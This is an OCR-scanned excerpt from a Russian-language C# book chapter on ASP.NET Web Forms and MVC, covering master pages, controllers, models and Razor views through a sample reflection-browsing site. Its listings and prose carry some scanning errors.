Глава 20 Стандартные страничные объекты Выше в табл. 20.1 я перечислил различные свойства, доступные на всех страницах Razor. Почти все из них также можно использовать в вы- ражениях и отделенном коде страниц .aspx, но с двумя исключениями. Отсутствует свойство Output, но это не слишком большая проблема — если вам действительно требуется писать прямо в поток вывода, то свой- ство Output найдется у объекта Response. По-настоящему здесь не хватает только вспомогательного свойства Html, предоставляющего методы для создания различных стандартных разновидностей элементов. Причина, по которой в веб-формах отсут- ствует эквивалент Html, такова: если вы захотите генерировать элемен- ты, настройками которых требуется управлять динамически, то система ожидает от вас использования серверных элементов управления. Страничные классы и объекты В случае с веб-формами (в отличие от случая с Razor) более очевид- но, что страница компилируется в класс. Этот класс вы легко найдете в отделенном коде — любая страница Page.aspx обычно сопровождается соответствующим ей файлом Page.aspx.cs* Как правило, ваш класс бу- дет наследовать непосредственно от класса Раде из пространства имен System.Web.UI. г Если вы попробуете вызвать this. GetType из веб-формы, то увидите, что ваша страница представлена типом, производным от вашего типа. ASP.NET генерирует этот производный класс для воплощения конкрет- ной модели развертывания: в ней вы можете скомпилировать весь отде- ленный код (а также все остальные файлы вашего проекта с исходным кодом на С#) во время разработки, но оставить обработку самих файлов .aspx на время исполнения. Таким образом, вы получаете возможность модифицировать страницы на живом сервере. Если вам требуется про- сто исправить опечатку, то вы можете отредактировать страницу, не пре- рывая текущей работы, а ASP.NET выстроит новый производный класс «на лету». Если бы ваш класс из отделенного кода использовался напря- мую, то его также пришлось бы перекомпилировать, а это означало бы либо необходимость повторного разв'ерТывания всего скомпилирован- * Можно обойтись без файла с отделенным кодом в тех случаях, когда вы точно не собираетесь его использовать. В MVC-приложениях это нормальная ситуация. 1042
ASP. NET ного кода для исправления единственной опечатки, либо перенос это- го исходного кода на веб-сервер. Вы можете так поступить, и ASP.NET с готовностью скомпилирует для вас код C# во время выполнения — но не всем понравится развертывать на сервере весь отделенный код. Этого делать и не приходится; в применяемой по умолчанию модели для ра- боты с ASP.NET вы можете выполнять окончательную настройку .aspx уже после развертывания. Поскольку среда пользуется классом, про- изводным от вашего, а не задействует ваш класс напрямую, она может динамически сгенерировать новый производный класс уже с учетом сделанных изменений. Если вы предпочитаете действовать иначе, то мо- жете предварительно компилировать и страницы .aspx, а на веб-сервере развертывать только бинарные файлы. При таком подходе мы теряем возможность гибкого редактирования страниц после развертывания, но это означает, что посетитель вашего сайта немедленно увидит; запро- шенную страницу и ему не придется дожидаться, пока скомпилируются страницы .aspx. Использование других компонентов Visual Studio позволяет строить веб-проекты таким же способом, как и другие проекты на С#. Поэтому, если вы хотите добавить ссылку на другой компонент, воспользуйтесь командой Add Reference (Добавить ссылку) из контекстного меню на панели Solution Explorer (Обозрева- тель решений). Каждая страница сопровождается своим файлом с отде- ленным кодом, который представляет собой обычный файл с кодом на С#, поэтому при необходимости подключить другое пространство имен обычно бывает достаточно всего лишь написать директиву using — как и в любом другом коде на С#. Тем не менее такой метод действует только с отделенным кодом. Если вам требуется подключить новое простран- ство имен к области применения самого файла .aspx, синтаксический эквивалент кода @using из Razor будет записываться при помощи тега <%@ Import %>, показанного в листинге 20.24. Этот код располагается в верхней части файла. Листинг 20.24. Импорт пространства имен <%@ Import Namespace="System.Collections.Specialized" %> Хотя при работе с веб-формами вы можете использовать самую обычную систему подготовки проектов, можно действовать и так, как это делалось выше с Razor: вместо веб-проекта вы создаете в Visual 1043
Глава 20 Studio такую сущность, которая называется Web Site (Веб-узел). В дан- ном случае обычный механизм добавления ссылок — с помощью коман- ды Add Reference (Добавить ссылку) — окажется недоступен. Чтобы обойтись без него, достаточно просто добавить внешние библиотеки в каталог bin. Любые сборки, помещаемые здесь, будут доступны на ва- ших страницах. Если вы хотите добавить ссылку на сборку, находящую- ся в GAC (глобальном кэше сборок), то просто бессмысленно разверты- вать ее в каталоге bin. Вместо этого достаточно добавить директиву Assembly имяСборки %> в верхней части файла. Главные страницы Выше мы говорили о страницах компоновки, которые применя- ются в Razor и позволяют определять обобщенный макет страницы с элементами-заполнителями, на месте которых на каждой из информа- ционных страниц будет находиться свой контент. Веб-формы поддер- живают подобную модель. Вы можете направить любую .а$рх-страницу на так называемую главную страницу (master page). Эта страница ука- зывается в директиве Раде %>, размещаемой в начале любого .aspx- файла, как продемонстрировано в листинге 20.25. Листинг 20.25. Задание главной страницы Page Title="Home Раде" MasterPageFile="*/Site.Master" Language="C#" AutoEventWireup="true" r CodeBehind="Default.aspx.cs" Inherits="WebFormsApp.-Default" %> В листинге 20.26 показана главная страница, напоминающая страницу компоновки Razor из листинга 20.13. Здесь при помощи runat="server" добавляется дополнительный элемент-форма, посколь- ку, как было указано выше, все серверные элементы управления должны быть вложены в форму. Листинг 20.26. Главная страница <%@ Master Language="C#" AutoEventWireup="true" CodeBehind="My.master.cs" Inherits="WebFormsApp. My" %> " <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> 1044
ASP. NET <head runat="server"> <title><%: Page.Title %></title> <asp:ContentPlaceHolder ID="head" runat="server" /> </head> <body> <form id=,’forml" runat='’server"> <asp:ContentPlaceHolder ID="MainContent" runat="server" /> </form> </body> </html> Заполнители здесь содержат несколько больше текста, чем в Razor, но принципиальная разница отсутствует. Обратите внимание на дирек- тиву <%@ Master %> в верхней части страницы: она сообщает ASP.NET, что эта страница будет считаться одной из «главных». Кстати, как можно понять из атрибута CodeBehind этой директивы, главные страницы тоже сопровождаются отделенным кодом. В листинге 20.27 показана полно- стью оформленная информационная страница, построенная по образцу данной главной страницы. Листинг 20.27. Теперь на месте заполнителей — контент Page Title="Mon страница" MasterPageFile="~/My.Master" Language="C#" AutoEventWireup="true" CodeBehind="UseMaster.aspx.cs" Inherits="WebFormsApp.UseMaster" %> <asp:Content runat="server" ID="Body" ContentPlaceHolderID="MainContent"> <div> Содержимое моей страницы. </div> </asp:Content> Обратите внимание: в отличие от ситуации с Razor, тут нам при- ходится указывать, какой заполнитель соответствует какому контенту. Здесь нет особого раздела, сразу выделяемого под основной текст (тело) страницы. Из всех возможностей Razor, описанных в этой главе, остается еще одна, для которой отсутствует эквивалент в веб-формах. Это файлы PageStart.cshtml (или, если говорить о приложениях MVC, ViewStart. cshtmt), могущие содержать общий код, выполняемый на всех страни- цах. Полный аналог этой возможности при работе со страницами .aspx 1045
Глава 20 отсутствует, но достичь подобного эффекта вы можете. Если при ис- пользовании веб-форм вы выполняете определенный код на каждой странице, то реализовать это можно двумя способами. Можно опреде- лить пользовательский базовый класс, наследующий от обычного Раде, и уже от этого пользовательского класса производить все страницы, не- обходимые для выполнения в общем коде. Если вы переопределите ме- тод OnLoad этого базового класса, то данный метод будет выполняться на самом раннем этапе жизненного цикла страницы. На самом деле, в та- ком случае существует несколько различных способов перегрузки, в за- висимости от того, когда именно вы хотите запустить ваш общий код. Например, OnPreRender обычно запускается, когда большая часть обра- ботки страницы уже завершена, прямо перед тем, как ASP.NET начнет преобразовывать в HTML элементы управления перед отправкой всего кода к клиенту. Модель жизненного цикла страницы при работе с веб- формами достаточно проста, подробное ее описание выходит за рамки этой книги. В качестве альтернативы вы можете записать код в файл Global.asax.cs, где определяются обработчики различных событий, при- меняемых в масштабах всего приложения. В таком случае вы сможете выполнять код из этого файла всякий раз, когда обрабатывается соот- ветствующий запрос. Итак, я рассказал обо всех конструкциях из области веб-форм, эк- вивалентных вышеописанным возможностям Razor, а также познако- мил вас с серверной моделью управления, применяемой с веб-формами. У веб-форм есть и другие примечательные возможности — в частности, связывание данных. Тем не менее эта глава содержит лишь беглый об- зор ASP.NET. Далее мы столь же сжато рассмотрим новые и более гиб- кие способы подключения данных к разметке и коду, предоставляемых в рамках паттерна MVC. MVC ASP.NET предоставляет фреймворк, построенный на базе прове- ренного и солидного шаблона модель-представление-контроллер, он же МУС*. Ранее при работе с Razor средства для работы с этим шаблоном * Этот шаблон был изобретен в 70-е годы в организации -«Ксерокс-Парк». Первона- чально он входил в состав системы ShTkfltalk и предназначался только для работы с кли- ентскими пользовательскими интерфейсами. Пуристы могли бы отметить, что шаблон MVC в варианте ASP.NET отличается от оригинальной ксероксовской версии, но при- меняет такую же систему разделения основных сфер ответственности. 1046
ASP.NET требовалось скачивать отдельно — на самом деле, Razor поставлялся в составе MVC v3, — но eVTsual Studio 2012 все эти средства уже встрое- ны по умолчанию. Шаблон MVC четко разграничивает все основные сферы ответ- ственности, в частности ту информацию, которую вы хотите предста- вить (модель), способ ее отображения (представление) и способ, по- средством чего действия пользователя влияют на выбор отображаемой информации и применяемого для этого представления (за принятие этих решений отвечает контроллер). Для настройки и запуска шабло- на MVC потребуется проделать немного больше работы, чем в случае с обычными «странично-ориентированными» сайтами, но данный ша- блон обеспечивает существенно большую гибкость и особенно^сорошо подходит для работы с такими приложениями, где выбираемый на- бор страниц (или других данных) зависит от каких-либо более общих данных. Вы вполне можете организовать подобное разделение ответствен- ности, пользуясь только лишь страницами Razor или веб-формами. На самом деле, в шаблоне MVC для реализации представлений и исполь- зуется та или иная из этих технологий. Но до появления шаблона MVC в составе ASP.NET было не вполне ясно, как отделять аспекты пред- ставления от аспектов контроллера. Путь наименьшего сопротивления лежал через перемещение логики в отделенный код веб-формы. Чтобы сделать что-либо еще помимо этого, приходилось немало поломать го- лову. Теперь же MVC решает все подобные задачи за вас. Я приведу простой пример, чтобы вы могли составить впечатление о том, как работает MVC. Это веб-сайт, на котором пользователь сможет просматривать информацию о типах .NET. Сайт будет предлагать по странице для каждой сборки и по странице для каждого из содержащих- ся в сборках типов. Таким образом, структура сайта станет полностью определяться информацией, извлеченной из API-интерфейса отраже- ния (этот интерфейс был описан в главе 13). Типичный макет MVC-проекта Для начала я создам новый проект (а не веб-узел, как делал выше в примерах с Razor). Для этого я выберу пункт Visual C# => Web (Visual C# => Веб) в левой части диалогового окна New Project (Соз- дать проект). Затем я выберу для проекта шаблон ASP.NET MVC 4 Web 1047
Глава 20 Application (Веб-приложение ASP.NET MVC 4) и в качестве имени про- екта введу «MvcReflectionView». Visual Studio 2012 позволяет создавать приложения, которые 4 « могли бы работать в более старых вариантах .NET Framework. <КУВ большинстве случаев для этого достаточно сконфигуриро- вать нужную версию, указав ее в свойствах проекта. Вы може- те изменить целевую версию фреймворка уже после создания проекта. Но различия между MVC v3 и v4 были довольно зна- чительными, и переход с одной версии на другую не сводится к изменению единственной настройки. Поэтому Visual Studio предоставляет свой набор шаблонов для каждой версии. В результате отображается дополнительное диалоговое окно, пока- занное на рис. 20.2. В нем вы можете выбрать набор файлов, с которых начнется проект. Я выбираю веб-приложение, так как это позволит мне создать многие разновидности деталей, которые, как правило, нужны в MVC-проекте. Обычно их требуется адаптировать под нужды ваше- го конкретного приложения, но при этом удобно опираться на «скелет- ный» проект, где сразу видно, что и куда ставится. Обратите внимание: в данном диалоговом окне я также могу выбрать механизм визуализа- ции. По умолчанию здесь задается Razor, и меня это устраивает, но вы можете выбрать и .aspx, если хотите. Если вы остановитесь на .aspx, то среда будет создавать .aspx-страницы без соответствующих файлов от- деленного кода. Предполагается, что все варианты поведения вы реали- зуете в классах модели или контроллера. Также обратите внимание на то, что в этом диалоговом окне предла- гается создать тестовый проект. Одно из достоинств четкого разделения между представлением, логикой приложения и обработкой запросов за- ключается в том, что вы можете с гораздо большим удобством писать автоматизированные тесты для вашего кода. Вы можете обкатать зна- чительную часть логики, даже не отображая саму веб-страницу. Итак, в данном шаблоне предлагается возможность сделать тестовый про- ект в том же решении, где создается веб-проект. Как видите, здесь есть выпадающее меню, из которого можно выбрать тестовый фреймворк. По умолчанию тут предлагается лишь собственный фреймворк Visual Studio для модульного тестирования, но система шаблонов проекта рас- ширяемая, и можно сделать так, чтобы здесь отображались и другие фреймворки. 1048
| Razor □ £reate a unit test project Test project name: Mvc ReflectionVi ew.T e st $ Test framework: Visual Studio UnitTest Description: A default ASP.NET MVC 4 project with an account controller that uses forms authentication. Additional Info OK | | Cancel ~| Рис. 20.2. Создание MVC-проекта Когда вы щелкнете по кнопке OK, Visual Studio создаст проект 1лнит его в соответствии с запрошенным вами шаблоном. Поско выбрал веб-приложение, среда разработки создаст простую стра! ггорую пользователи увидят в корне вашего сайта, а также стран вменяемые для входа в систему и создания учетных записей в < lx, требующих ввода логина и пароля. Рисунок 20.3 демонстрирует, как будет представлен новый пр панели Solution Explorer (Обозреватель решений). Для больше] ядности каталоги с моделями, представлениями и контроллерам] заны в развернутом виде. Но прежде, чем мы углубимся в их изучение, я быстро опишу др шсутствующие здесь каталоги. App Data — это место для размещения файлов базы данных. В V udio есть встроенная поддержка для работы с файлами SQL St
Глава 20 Compact 4.0 или SQL Server Express в этом каталоге. Данный каталог не имеет какого-либо большого значения для работы с ASP.NET — это про- сто соглашение, применяемое при работе с файлами баз данных. о о Л i т© - # Q 9 "® | <> Search Solution Explorer (Ctrl ♦;) fi ’ И Solution 'MvcReflectionView' (1 project) MvcReflectionView ► Л Properties ► References й App.Data ► Й App_ Start ► Ц Content Controllers ________► C* AccountController.es_____________ ► Ц Filters Images > Й Models ► Ц Scripts в Views ► Й Account в Home QM Aboutcshtml DM Contactcshtml QM Index.cshtml в Shared DM .Layoutcshtml DM _LoginPartial.cshtml CM Error.cshtml DM _ViewStartc$html Q Web.config Q favicon.ico ► £ Global.asax Q packages.config > Q Web.config Рис- 20-3. Содержимое нового MVC-проекта В каталоге Content содержится стандартный набор CSS-файлов. В каталоге Images вы найдете различные растровые рисунки, входящие в состав стандартного оформления, предоставляемого шаблоном для но- вого сайта. В каталоге Scripts находятся файлы с разнообразными кли- ентскими сценариями (скриптами). В частности, тут предоставляются дистрибутивы популярной библиотеки j Query для языка JavaScript, со- держащей мириады полезных возможностей для создания интерактив- ных веб-страниц. Здесь же находится библиотека Modernize помогаю- щая сгладить несоответствие между различными уровнями поддержки HTML в старых и новых браузерах. Наконец, к вашим услугам библио- тека Knockout, поддерживающая примерно такую же модель привязки данных к веб-страницам, как и метод «Представление-Модель», попу- 1050
ASP. NET лярный при работе c XAML. Весь этот контент вполне может пригодить- ся при создании любого сайта, а не только соответствующего шаблону MVC. Итак, давайте подробно познакомимся с моделями, представле- ниями и контроллерами. Контроллеры При обработке входящего веб-запроса первым из трех важней- ших элементов MVC в игру вступает контроллер. Его задача — прове- рить запрос и решить, что с ним делать. В шаблоне проекта есть класс Homecontroller, показанный в листинге 20.28. Листинг 20.28. Задаваемый по умолчанию класс Homecontroller public class Homecontroller Controller { public ActionResult Index!) { ViewBag.Message = "Modify this template to kick-start your ^SP.NET MVC application. return View!); } public ActionResult About() { ViewBag.Message = "Your app description page."; return View!); } public ActionResult Contact!) { ViewBag.Message = "Your contact page."; return View!); } } Этот класс обрабатывает URL, расположенные прямо под корнем сайта, например http://yoursite/Index или http://yoursite/About. В разде- ле «Маршрутизация» мы поговорим о том, как в ASP.NET определяется порядок направления входящих запросов’к контроллерам, и о том, как можно изменить этот порядок, но пока остановимся на новом проекте MVC, где вся эта работа уже проделана. Проект предполагает, что URL будут построены по образцу http://yoursite/controller/action/id. ASP. 1051
Глава 20 NET принимает любой текст, находящийся в части controller, добавля- ет к нему слово Controller и ищет класс с именем, получившимся в ре- зультате. Так, если первый фрагмент имени — это Ноте, то здесь будет ис- пользоваться класс Homecontroller. Часть action означает метод в этом контроллере, a ID предоставляет дополнительную информацию о том, какая информация запрашивается. Все эти фрагменты, как правило, опциональны и не всегда поддер- живаются — три метода из листинга 20.28 вообще не используют ID, по- этому вам остается указать только контроллер и имя. Например, http:// уoursite/Home/Contact вызовет метод Contact класса Homecontroller, по- казанный в листинге 20.28. Контроллер и действие также опциональны, по умолчанию они имеют значения Ноте и Index соответственно. Та- ким образом, http://yoursite/Contact равнозначен http://yoursite/Home/ Contact, a http://yoursite/ равнозначен http://yoursite/Home/Index. Как будет показано ниже, вы вполне можете все это менять, но именно так по умолчанию вызывается контроллер и его методы. ASP.NET вызывает соответствующий метод контроллера, решаю- щий, что делать. Такие методы записывают результат решения в возвра- щаемый ими объект ActionResult. Базовый класс Controller предостав- ляет различные вспомогательные методы, создающие для вас объекты такого типа (и объекты, производные от этого типа). Например, метод Redirect создает RedirectResult, сообщающий ASP.NET, что отклик дол- жен представлять собой HTTP-переадресацию. Метод File возвращает FileContentResult, требующий от ASP.NET вернуть какой-либо недина- мический контент. Здесь вы можете передать массив byte [ ] или поток Stream, содержащий контент для возврата, или же передать путь к тому файлу на диске, контентом из которого можно воспользоваться. Все три метода действий из листинга 20.28 используют вспомога- тельный метод View, создающий ViewResult. Как понятно из названия, именно здесь подключается к работе Представление — второй компонент шаблона MVC. Этот метод выбирает либо файл Razor, либо .aspx-файл, который будет использоваться в качестве представления, — в зависимо- сти от того, какой механизм визуализации вы выбрали при создании проекта. Вы можете передать имя файла (без расширения .cshtml или .aspx), но безаргументная перегрузка метода View, которую применяют действия в этом примере, просто выбирает представление, одноименное действию. На рис. 20.3 показано, чТо^ вас есть три файла — Index.cshtml, About.cshtml и Contact.cshtml, — соответствующие трем действиям. Обра- тите внимание: они находятся в каталоге Ноте. Обычно представления 1052
ASP.NET расположены в одном из подкаталогов в директории Views, такой под- каталог получает имя в зависимости от контроллера, использующего со- держащиеся в нем представления. Если вы хотите использовать то или иное представление сразу из нескольких контроллеров, то для этой цели есть каталог Shared^KaK показано на рис. 20.3, в нем, среди прочего, со- держится страница компоновки, совместно используемая несколькими представлениями. Модели Прежде чем мы перейдем к более детальному рассмотрению пред- ставлений, обратим внимание еще на одну черту контроллера, показан- ную в листинге 20.28. Он задает некоторые данные для ViewBag, свойства, определяемого базовым типом Controller. Это dynamic-объект, в который вы можете записать любые желаемые свойства и сделать их доступными для представлений. В MVC-приложении страницы Razor наследуют от класса WebViewPage (он, в свою очередь, наследует от обыЗного базово- го класса WebPage). Здесь определяется свойство ViewBag, которое будет получать копию ViewBag от контроллера, а .aspx-страницы наследуют от ViewPage, действующего аналогично. Такой словарь представлений бу- дет моделью для нашего простейшего контроллера. По сравнению с дру- гими моделями этот простой контейнер, содержащий всего одну пару имя/значение, совершенно тривиален — особенно в этом случае, где он содержит единственное текстовое свойство. Ниже я продемонстрирую более структурированный подход, когда мы перейдем к добавлению на*- шего собственного функционала в приложение. Представления Как показано на рис. 20.3, каталог Views содержит файл ViewStart. cshtml, и, как было сказано выше, этот файл применяется при работе с каждым из представлений. Он содержит всего один блок кода, уста- навливающий для компоновки значение Shared/_Layout.cshtml. Шаблон «Интернет-Приложение» из MVC задает для страницы макет, в кото- рой есть пара опциональных разделов, а также обычный заполнитель @ RenderBody. Я не буду показывать здесь файл с исходным кодом, так как он достаточно длинный, а также содержит в основном тонкости HTML, а не какие-то характерные особенности MVC-приложений. Эффект от применения этого макета вы видите на рис. 20.4. Сначала идет опцио- нальный раздел, называющийся featured, после него находится тело до- кумента. В теле данного примера нумерованный список. 1053
На рис. 20.4 показан результат применения представления Indetx shtml. В нем было решено предоставить раздел featured, и именно здес: анное представление отображает свойство Message, установленное кон роллером для объекта ViewBag в листинге 20.28. Большая часть файл; одержит не слишком интересный статический контент, поэтому в ли тинге 20.29 я показываю упрощенную версию. Здесь раздел feature» родемонстрирован лишь частично: в нем присутствуют заголовок, мо ель, а также минимальный объем информации из основной части до умента. Home Page. Modify this template to jump start your ASP.NET MVC application. We suggest the following: • Getting Started ASP.NET MVC gives you a powerful pettems-bssed way to buBd dynamic websites that enables a dean separation of concerns and that gives you fill control over martaup for enjoyable, адйе development ASP.NET MVC indudes many features that enable Cast IDD-friendy developmertt for creating sophisticated appications that use the latest web standards, team more-. Add NuGet packages and Jump-stat your eodtag NuGet makes it easy to i ratal and update free lixaries and tools, team more- Hnd Web Hosting Рис. 20.4. Стандартный макет страницы в новоиспеченном MVC-приложении 1истинг 20.29. Квинтэссенция представления, содержащего индекс { ViewBag.Title = "Домашняя страница"; section featured { <section class="featured"> <div class="content-wrapper"> <hgroup class="title"> <hl>@ViewBag.Title.</hl> <h2>@ViewBag.Message</h2>
ASP. NET </hgroup> </div> </section> } <h3>Teno страницы</ИЗ> Кстати, точка после @ViewBag. Title — не опечатка. Razor сделает пра- вильный вывод, что здесь перед ним не часть выражения. Именно поэ- тому вы видите точку и после заголовка в центральной части рис. 20.4. Данная точка присутствует и в полной версии файла, на основе которо- го сделан рисунок. Может показаться, что, задавая текст заголовка в качестве свойства в блоке кода в верхней части страницы, а затем, ссылаясь на это свой- ство позже, мы только усложняем ситуацию. Что нам мешает жестко закодировать заголовок в разметке? Но мы учитываем, что на страни- цах компоновки заголовок обычно отображается и в HTML-теге <head>, именно так здесь и происходит. Вы можете в этом убедиться, так как на рис. 20.4 мы видим: один и тот же текст присутствует и на странице^ и на вкладке с браузером. Обратите внимание: здесь применяется немного иное соглашение, чем выше — например, в листинге 20.13 использовался код @Page.Title. В простом страничном приложении модель отсутствует, поэтому заго- ловок прикрепляется к динамическому объекту Раде. Но в приложениях MVC гораздо целесообразнее прикреплять заголовок к модели. Итак, мы кратко рассмотрели, что нужно сделать для создания ново- го MVC-проекта. Теперь давайте займемся кое-чем более интересным. Написание моделей Для начала напишу модель, в которой будет представлена инфор- мация, которую я собираюсь отобразить. В приложениях MVC модель зачастую не является моделью предметной области. Она гораздо ближе по своей природе к модели представления, применяемой в XAML (о ней мы говорили в главе 19). В моем примере модель предметной области взята от CLR — это API отражений. Я собираюсь добавить промежуточ- ный уровень, извлекающий ту информацию, которую я хочу показать, и структурирующий ее таким образом,, чтобы моим представлениям было удобно ее потреблять. На этом уровне будут сосредоточены клас- сы модели для моего MVC-приложения. 1055
Глава 20 Я собираюсь создать одну модель для представления сборки и одну — для представления типа. В листинге 20.30 показан класс модели сборки. Он будет находиться в каталоге Models моего проекта. Листинг 20.30. Модель для сборки using System.Collections.Generic; using System.Linq; using System.Reflection; namespace MvcReflectionView.Models { public class AssemblyModel { private readonly Assembly _asm; public AssemblyModel(Assembly asm) { _asm = asm; AssemblyName name = asm.GetName(); SimpleName = name.Name; Version = name.Version.ToString(); byte[b keyToken = name.GetPublicKeyToken(); PublicKeyToken = keyToken == null ? "" string.Concat( keyToken.Select(b => b.ToString("X2"))); Types = asm.GetTypes().Select( t => t.FullName).ToList() ; } public string SimpleName { get; private set; } public string Version { get; private set; } public string PublicKeyToken { get; private set; } public IList<string> Types { get; private set; } } } Эта модель просто извлекает информацию с базового API отраже- ний и записывает ее в разные свойства, выполняя при этом всю работу, необходимую для преобразования информации в читаемый текст. Здесь показано, почему не стоит использовать в качестве модели саму сборку Assembly — дело не только в копировании свойств. Например, Assembly не предоставляет маркер открытого ключа (public key token) в такой 1056
ASP. NET форме, которая легко преобразовывалась бы в текст. Модель предлагает в качестве отображаемого имени либо массив байтов, либо внедренную подстроку. “ Не все поступают с MVC именно таким образом. Разумеется, . можно напрямую использовать в качестве модели и объекты 3?**из предметной области, переводя всю вышеописанную рабо- ту в представление, а некоторые специалисты даже будут на- стаивать, что весь код, ориентированный на представление, также должен находиться здесь. Тем не менее, если вы избе- рете такой подход, будет гораздо сложнее писать модульные тесты для кода, преобразующего ваши данные из предметной области в удобную для представления ферму. Более того, в таком случае вы подчиняете информационную архитектуру вашего приложения структуре вашей предметной области, что порой катастрофически усложняет работу с приложением (хотя, к сожалению, это не отпугивает многих разработчиков). Организуя «модель» MVC в виде тонкого слоя, расположенно- го над моделью вашей предметной области, вы значительно повышаете гибкость дизайнаЪзаимодействий, а также корен- ным образом улучшаете тестируемость. Еще я написал вспомогательный класс для создания экземпляров этой модели. Он называется Modelsource. Мое веб-приложение будет принимать в своих URL имена сборок, но я совсем не хочу, чтобы конеч- ные пользователи могли заставлять мое приложение загружать произ- вольные .rf/7-библиотеки, так как это рискованно с точки зрения безопас- ности. Поэтому вместо поиска сборок с любым именем, которое укажет пользователь, я позволю самому приложению заранее решать, для ка- ких моделей в нем станут предлагаться сборки. Эта возможность будет инкапсулирована в классе Modelsource, показанном в листинге 20.31. Листинг 20.31. Вспомогательный класс Modelsource using System; using System.Collections.Generic; using System.Linq; using System.Reflection; namespace MvcReflectionView.Models { public class ModelSource 1057
Глава 20 { public static Dictionary<string, Assembly> AvailableAssemblies { get; private set; } static ModelSource() { AvailableAssemblies = AppDomain.CurrentDomain .GetAssemblies() .GroupBy(a => a.GetName().Name) .ToDictionary(g => g.Key, g => g.First()); } public static AssemblyModel FromName(string name) { Assembly asm; if (!AvailableAssemblies.TryGetValue(name, out asm)) { return null; ) return new AssemblyModel(asm); ) } I В готовом варианте моего приложения будет другая модель для пред- ставления типов и соответствующее дополнение для класса ModelSource. Мы рассмотрим этот код позже, а пока я хотел бы создать полнофун- циональную работоспособную версию страницы. Итак, у нас уже есть модель, теперь давайте напишем для нее представление. Написание представлений Как правило, представления группируются по принадлежности к контроллеру, который их использует. Я еще не написал контроллер, но, когда он будет готов, я назову его Reflectioncontroller. Поэто- му в каталоге Views я создам подкаталог Reflection. Щелкнув по нему правой кнопкой мыши и выполнив команду меню Add => View (Доба- вить => Представление), открываю диалоговое окно Add View (Добав- ление представления), показанное на рис. 20.5. Я назову представление Assembly, так как в нем будет представлена именно сборка. В этом диа- логовом окне мы можем выбрать механизм визуализации, который по умолчанию такой же, какой вы выбрали для всего проекта. Я выбрал 1058
ASP.NET Razor, но если вы выберете ASPX, то создастся представление веб-форм, то есть файл с отделенным кодом будет отсутствовать. На рис. 20.5 я по- ставил флажокГОзначающий, что мы станем создавать строго типизиро- ванное представление. Для этого мне потребуется выбрать класс Model в комбинированном списке. Я выбрал класс AssemblyModel, рассмотрен- ный в предыдущем разделе. Таким образом, класс, генерируемый Razor, будет наследовать от WebViewPage<AssemblyModel>. Он является произ- водным от обычного WebViewPage и добавляет свойство Model, имеющее указанный тип модели. Его можно использовать в выражениях, как по- казано в листинге 20.32. Как видите, выбранный нами тип модели ока- зывается в директиве @model, находящейся в первой строке. View flame: [Assembly View engine: | Razor (CSHTML? Н Create a itrongly-typed view Model class: [AssemblyModel (Mvc Rtf I action View. Mode Is) Scaffold template: [Empty 7] Н Reference script libraries □ £reate as a partial view 0 Use a layout or master page: (Leave empty if it is set in a Razor _view$tart file) ContentPlaceHolder ID: MainContent | AM Рис. 20.5. Диалоговое окно Add View (Добавление представления) Листинг 20.32. Представление для модели AssemblyModel Gmodel MvcReflectionView.Models.AssemblyModel @{ ViewBag.Title = "Assembly - + Model.SimpleName; } <h2>@ViewBag.Title</h2> <div>Version: @Model.Version</div> <div>Public key token: @Model.PublicKeyToken</div> 1059
Глава 20 <h3>Types</h3> @foreach(string typeName in Model.Types) { <div>@typeName</div> } Я написал этот код с нуля, выбрав выриант Empty (Пусто) в выпа- дающем списке шаблона Scaffold в этом диалоговом окне. Если вместо этого выбрать вариант Details (Детали), то будет построен файл, в кото- ром отображаются все свойства нашей модели. Правда, это происходит несколько более сложным способом, чем мы могли бы предположить. Здесь предполагается поддерживать модели, использующие аннотации данных — набор пользовательских атрибутов, относящихся к простран- ству имен System.ComponentModel.DataAnnotations. Существуют атри- буты, применяемые специально для описания того, данные какого типа могут содержаться в свойстве, в частности устанавливающие правила валидации. Также имеются атрибуты, описывающие имя, которое долж- но соответствовать свойству в пользовательском интерфейсе — так, что- бы не возникало проблем с локализацией. В листинге 20.33 показано, как отобразить свойство с учетом всех этих возможностей. Листинг 20.33. Отображение свойства с использованием аннотирования данных <div class="display-label"> GHtml.DisplayNameFor(model => model.Simp1eName) </div> <div class="display-field"> @Html.DisplayFor(model => model.SimpleName) </div> Подобную разметку Visual Studio сгенерирует в случае, если вы вы- берете вариант Details (Детали) для шаблона Scaffold. Правда, в моей модели такие аннотации не используются, так что пример 20.33 излиш- не усложнен. Именно поэтому я избрал значительно более простой ме- тод, показанный в листинге 20.32. Теперь, когда у нас уже готово пред- ставление, остается сделать последнюю часть — контроллер. Написание контроллеров Представление будет использоваться, а его модель — создаваться лишь при условии, что это обеспечит контроллер. Итак, нам нужен класс контроллера. Щелкнув правой кнопкой мыши по каталогу Controllers 1060
ASP.NET и выбрав команду Add => Controller (Добавить => Контроллер), мы от- крываем диалоговое окно Add Controller (Добавление контроллера). В нем есть ряд возможностей для автоматического генерирования контроллеров, ориентированных на работу с данными, но, поскольку я хочу продемонстрировать, как функционирует контроллер, лучше бу- дет написать его с нуля. Поэтому я просто выберу шаблон Empty MVC Controller (Пустой MVC-контроллер), чтобы создать новый класс под названием Reflectioncontroller. Так мы создаем класс контроллера с единственным методом Index. Этот класс предназначен для отображения представления по умол- чанию, но я пока не собираюсь его писать. Вместо этого я поставлю в контроллер код, показанный в листинге 20.34. Листинг 20.34. Контроллер с действием Assembly (Сборка) using System.Web.Mvc; using MvcReflectionView.Models; namespace MvcReflectionView.Controllers { public class Reflectioncontroller Controller { public ActionResult Assembly(string id) { AssemblyModel model = ModelSource.FromName(id); if (model == null) { return HttpNotFoundO ; } return View(model); } } } Этот контроллер будет обрабатывать запросы, направляемые по U RL, такие как http://yoursite/Reflection/Assembly/mscorlib. Я указывал выше, Visual Studio сразу конфигурирует новые MVC-приложения так, чтобы они могли обрабатывать URL вида http://yoursite/controller/action/id. В ходе подобной обработки URL выбирает Reflectioncontroller, вызы- вая метод Assembly, показанный в листинге 20.34. Последний фрагмент URL, mscorlib передается как аргумент id этого метода. 1061
